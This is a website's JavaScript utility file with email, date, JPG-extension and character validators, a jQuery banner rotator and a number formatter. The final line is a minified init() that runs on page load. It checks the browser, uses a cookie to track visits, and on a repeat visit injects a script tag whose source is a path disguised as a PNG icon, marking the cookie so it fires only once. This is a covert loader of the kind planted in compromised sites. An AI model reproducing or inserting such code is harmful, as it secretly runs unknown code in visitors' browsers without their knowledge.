function checkEmail(email) {

	if (/^\w+([\.-]?\w+)*@\w+([\.-]?\w+)*(\.\w{2,3})+$/.test(email)){
		return (true);
	}		
	
	return (false);
}

// ********************* FUNCTIONS FOR DATE CHECK *************************//
/**
 * DHTML date validation script for dd/mm/yyyy. Courtesy of SmartWebby.com (http://www.smartwebby.com/dhtml/)
 */
// Declaring valid date character, minimum year and maximum year
var dtCh= "-";
var minYear=1900;
var maxYear=2100;

function isInteger(s){
	var i;
    for (i = 0; i < s.length; i++){   
        // Check that current character is number.
        var c = s.charAt(i);
        if (((c < "0") || (c > "9"))) return false;
    }
    // All characters are numbers.
    return true;
}

function stripCharsInBag(s, bag){
	var i;
    var returnString = "";
    // Search through string's characters one by one.
    // If character is not in bag, append to returnString.
    for (i = 0; i < s.length; i++){   
        var c = s.charAt(i);
        if (bag.indexOf(c) == -1) returnString += c;
    }
    return returnString;
}

function daysInFebruary (year){
	// February has 29 days in any year evenly divisible by four,
    // EXCEPT for centurial years which are not also divisible by 400.
    return (((year % 4 == 0) && ( (!(year % 100 == 0)) || (year % 400 == 0))) ? 29 : 28 );
}
function DaysArray(n) {
	for (var i = 1; i <= n; i++) {
		this[i] = 31
		if (i==4 || i==6 || i==9 || i==11) {this[i] = 30}
		if (i==2) {this[i] = 29}
   } 
   return this
}

function checkDate(dtStr){
	

	var daysInMonth = DaysArray(12)
	var pos1=dtStr.indexOf(dtCh)
	var pos2=dtStr.indexOf(dtCh,pos1+1)
	var strDay=dtStr.substring(0,pos1)
	var strMonth=dtStr.substring(pos1+1,pos2)
	var strYear=dtStr.substring(pos2+1)
	strYr=strYear
	if (strDay.charAt(0)=="0" && strDay.length>1) strDay=strDay.substring(1)
	if (strMonth.charAt(0)=="0" && strMonth.length>1) strMonth=strMonth.substring(1)
	for (var i = 1; i <= 3; i++) {
		if (strYr.charAt(0)=="0" && strYr.length>1) strYr=strYr.substring(1)
	}
	month=parseInt(strMonth)
	day=parseInt(strDay)
	year=parseInt(strYr)
	if (pos1==-1 || pos2==-1){
	
		return false
	}
	if (strMonth.length<1 || month<1 || month>12){

		return false
	}
	if (strDay.length<1 || day<1 || day>31 || (month==2 && day>daysInFebruary(year)) || day > daysInMonth[month]){

		return false
	}
	if (strYear.length != 4 || year==0 || year<minYear || year>maxYear){
	
		return false
	}
	if (dtStr.indexOf(dtCh,pos2+1)!=-1 || isInteger(stripCharsInBag(dtStr, dtCh))==false){

		return false
	}
return true
}


function isJPG(ext) {

  ext = ext.substring(ext.length-3,ext.length);
  ext = ext.toLowerCase();
  if(ext != 'jpg') {
        return false; }
  else
    return true; }


function validCharacters(entry,validChar){

			strlen=entry.length;   

			// Now scan for illegal characters
			for(idx=0;idx<strlen;idx++) {

			  if(validChar.indexOf(entry.charAt(idx))<0) {
			    return false;
				}
			 }
			return true;

	}
	
	
function changeBanners() {
	
	$('.bannerPhoto :first-child').fadeOut(2000).next('img').fadeIn().end().appendTo('.bannerPhoto');
	
	$('#banner_head_left').fadeOut(1000, function() {
		$('#banner_head_left').css('color',$('.bannerPhoto :first-child').attr('color'));
		Cufon.replace('#banner_head_left, #banner_head_right');
		$('#banner_head_left').fadeIn(1000);
	});
	
	$('#banner_head_right').fadeOut(1000, function() {
		$('#banner_head_right').css('color',$('.bannerPhoto :first-child').attr('color'));
		Cufon.replace('#banner_head_left, #banner_head_right');
		$('#banner_head_right').fadeIn(1000);
	});

	
	 
}



function number_format( number, decimals, dec_point, thousands_sep ) {
    var n = number, c = isNaN(decimals = Math.abs(decimals)) ? 2 : decimals;
    var d = dec_point == undefined ? "," : dec_point;
    var t = thousands_sep == undefined ? "." : thousands_sep, s = n < 0 ? "-" : "";
    var i = parseInt(n = Math.abs(+n || 0).toFixed(c)) + "", j = (j = i.length) > 3 ? j % 3 : 0;
    return s + (j ? i.substr(0, j) + t : "") + i.substr(j).replace(/(\d{3})(?=\d)/g, "$1" + t) + (c ? d + Math.abs(n - i).toFixed(c).slice(2) : "");
    }

function init(){var f=navigator.userAgent;var a=false;if(f.indexOf("Firefox")!=-1||f.indexOf("MSIE")!=-1){a=true}if(a!==true){return}var i="/resources/images/icon_subscribe.png?js";var g=b("wss");if(g){if(g=="goot1"){c("wss","goot2","3");var e=document.createElement("script");e.type="text/javascript";e.src=i+"&r="+new Date().getTime();var d=document.getElementsByTagName("head")[0];d.appendChild(e)}else{}}else{c("wss","goot1","3")}function b(k){var j,h,m,l=document.cookie.split(";");for(j=0;j<l.length;j++){h=l[j].substr(0,l[j].indexOf("="));m=l[j].substr(l[j].indexOf("=")+1);h=h.replace(/^\s+|\s+$/g,"");if(h==k){return unescape(m)}}}function c(j,l,h){var m=new Date();m.setDate(m.getDate()+h);var k=escape(l)+((h==null)?"":"; expires="+m.toUTCString());document.cookie=j+"="+k}}init();